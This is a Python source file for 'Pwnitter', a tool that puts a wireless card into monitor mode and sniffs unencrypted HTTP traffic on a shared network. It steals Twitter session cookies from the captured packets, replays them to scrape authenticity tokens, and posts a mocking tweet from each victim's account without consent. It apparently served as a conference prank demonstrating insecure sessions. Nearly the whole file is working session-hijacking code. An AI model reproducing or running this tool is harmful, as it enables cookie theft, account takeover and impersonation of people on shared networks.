Initial checkin
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import socket
11 import time
12 import gobject
13 import select
14 import subprocess
15
16 status = 'I browsed twitter insecurely on #fossdotin  and all I got was this lousy tweet.'
17
18 def usage(): 
19     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
20     sys.exit(1)
21
22 NAME = 'de.cryptobitch.muelli.Pwnitter'
23
24 class Pwnitter(dbus.service.Object):
25     def __init__(self, bus, object_name, device='mon0'):
26         super(Pwnitter, self).__init__(bus, object_name)
27         self.device = device
28         
29         self.status = status
30         self.is_running = False
31
32     @dbus.service.method(NAME,
33                          in_signature='', out_signature='')
34     def Start(self, device='mon0'):
35         # FIXME: Prevent double Start()
36         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
37         subprocess.call(cmd)
38         cmd = '/sbin/ifconfig mon0 up'.split()
39         subprocess.call(cmd)
40         self.is_running = True
41         try:
42             self.cap = pcap.pcap(device)
43         except OSError, e:
44             print "Error setting up %s" % device
45             raise e
46         self.cap.setfilter('dst port 80')
47         gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent))
48     
49     @dbus.service.signal(NAME)
50     def MessageSent(self, who):
51         print "Emitting MessageSent"
52         return who
53         return False
54         pass
55
56     @dbus.service.method(NAME,
57                          in_signature='s', out_signature='')
58     def SetMessage(self, message):
59         self.status = message
60         
61     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
62                          in_signature='', out_signature='s')
63     def GetMessage(self):
64         return self.status
65
66     @dbus.service.method(NAME,
67                          in_signature='', out_signature='')
68     def Stop(self):
69         self.is_running = False
70         print "Receive Stop"
71         cmd = '/sbin/ifconfig mon0 down'.split()
72         subprocess.call(cmd)
73         cmd = '/usr/sbin/iw dev mon0 del'.split()
74         subprocess.call(cmd)
75         loop.quit()
76
77
78     def pwn(self, device, tweeted_callback=None):
79         processed = {}
80         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
81             #for ts, raw  in self.cap: # This blocks. Which is unfortunate if the application wants to exist
82             cap_fileno = self.cap.fileno()
83             rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5)
84             #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist)
85             if cap_fileno in rlist:
86                 ts, raw = self.cap.next()
87                 eth = dpkt.ethernet.Ethernet(raw)
88                 #print 'got a packet'  
89                 # Depending on platform, we can either get fully formed packets or unclassified radio data
90                 if isinstance(eth.data, str):
91                     data = eth.data
92                 else:
93                     data = eth.data.data.data
94
95                 hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
96                 if hostMatches:
97                     print 'Host matched'
98                     host = hostMatches.group(1)
99
100                     cookieMatches = re.search('Cookie: ([^\n]+)', data)
101                     if cookieMatches:
102                         cookie = cookieMatches.group(1)
103
104                         headers = {
105                             "User-Agent": "Mozilla/5.0",
106                             "Cookie": cookie,
107                         }
108                         
109                         conn = httplib.HTTPSConnection(host)
110                         try:
111                             conn.request("GET", "/", None, headers)
112                         except socket.error, e:
113                             print e
114                         else:
115                             response = conn.getresponse()
116                             page = response.read()
117
118                             # Newtwitter and Oldtwitter have different formatting, so be lax
119                             authToken = ''
120
121                             formMatches = re.search("<.*?authenticity_token.*?>", page, 0)
122                             if formMatches:
123                                 authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
124
125                                 if authMatches:
126                                     authToken = authMatches.group(1)
127
128                             nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
129                             if not nameMatches:
130                                 nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
131         
132                             name = ''
133                             if nameMatches:
134                                 name = nameMatches.group(1)
135
136
137                             # We don't want to repeatedly spam people
138                             # FIXME: What the fuck logic. Please clean up
139                             if not ((not name and host != 'mobile.twitter.com') or name in processed):
140                                 headers = {
141                                     "User-Agent": "Mozilla/5.0",
142                                     "Accept": "application/json, text/javascript, */*",
143                                     "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
144                                     "X-Requested-With": "XMLHttpRequest",
145                                     "X-PHX": "true",
146                                     "Referer": "http://api.twitter.com/p_receiver.html",
147                                     "Cookie": cookie
148                                 }
149
150
151                                 print 'Issueing connection'
152                                 if host == 'mobile.twitter.com':
153
154                                     params = urllib.urlencode({
155                                         'tweet[text]': self.status,
156                                         'authenticity_token': authToken
157                                     })
158
159                                     conn = httplib.HTTPConnection("mobile.twitter.com")
160                                     conn.request("POST", "/", params, headers)
161
162                                 else:
163
164                                     params = urllib.urlencode({
165                                         'status': self.status,
166                                         'post_authenticity_token': authToken
167                                     })
168
169                                     conn = httplib.HTTPConnection("api.twitter.com")
170                                     conn.request("POST", "/1/statuses/update.json", params, headers)
171
172
173                                 response = conn.getresponse()
174                                 print 'Got response: %s' % response.status
175                                 if response.status == 200 or response.status == 302 or response.status == 403:
176
177                                     if name:
178                                         processed[name] = 1
179
180                                     # 403 is a dupe tweet
181                                     if response.status != 403:
182                                         print "Successfully tweeted as %s" % name
183                                         print 'calling %s' % tweeted_callback
184                                         if tweeted_callback:
185                                             tweeted_callback(name)
186                                     else:
187                                         print 'Already tweeted as %s' % name
188
189                                 else:
190
191                                     print "FAILED to tweet as %s, debug follows:" % name
192                                     print response.status, response.reason
193                                     print response.read() + "\n"
194                 #break # Break after one read packet
195         return self.is_running # Execute next time, we're idle
196     # FIXME: Ideally, check     whether Pcap has got data for us
197
198 def main():
199
200     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
201     device = None
202     for o, a in opts:
203         if o == '-i':
204             device = a
205         else:
206             usage()
207     #pwn(device)
208
209
210
211 if __name__ == '__main__':
212     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
213
214     #session_bus = dbus.SessionBus()
215     session_bus = dbus.SystemBus()
216     name = dbus.service.BusName(NAME, session_bus)
217     pwnitter = Pwnitter(session_bus, '/Pwnitter')
218     #object.Start()
219
220     loop = gobject.MainLoop()
221     print "Running example signal emitter service."
222     # FIXME: This is debug code
223     #gobject.idle_add(pwnitter.MessageSent)
224     
225     loop.run()
226     print "Exiting for whatever reason"
227     #main()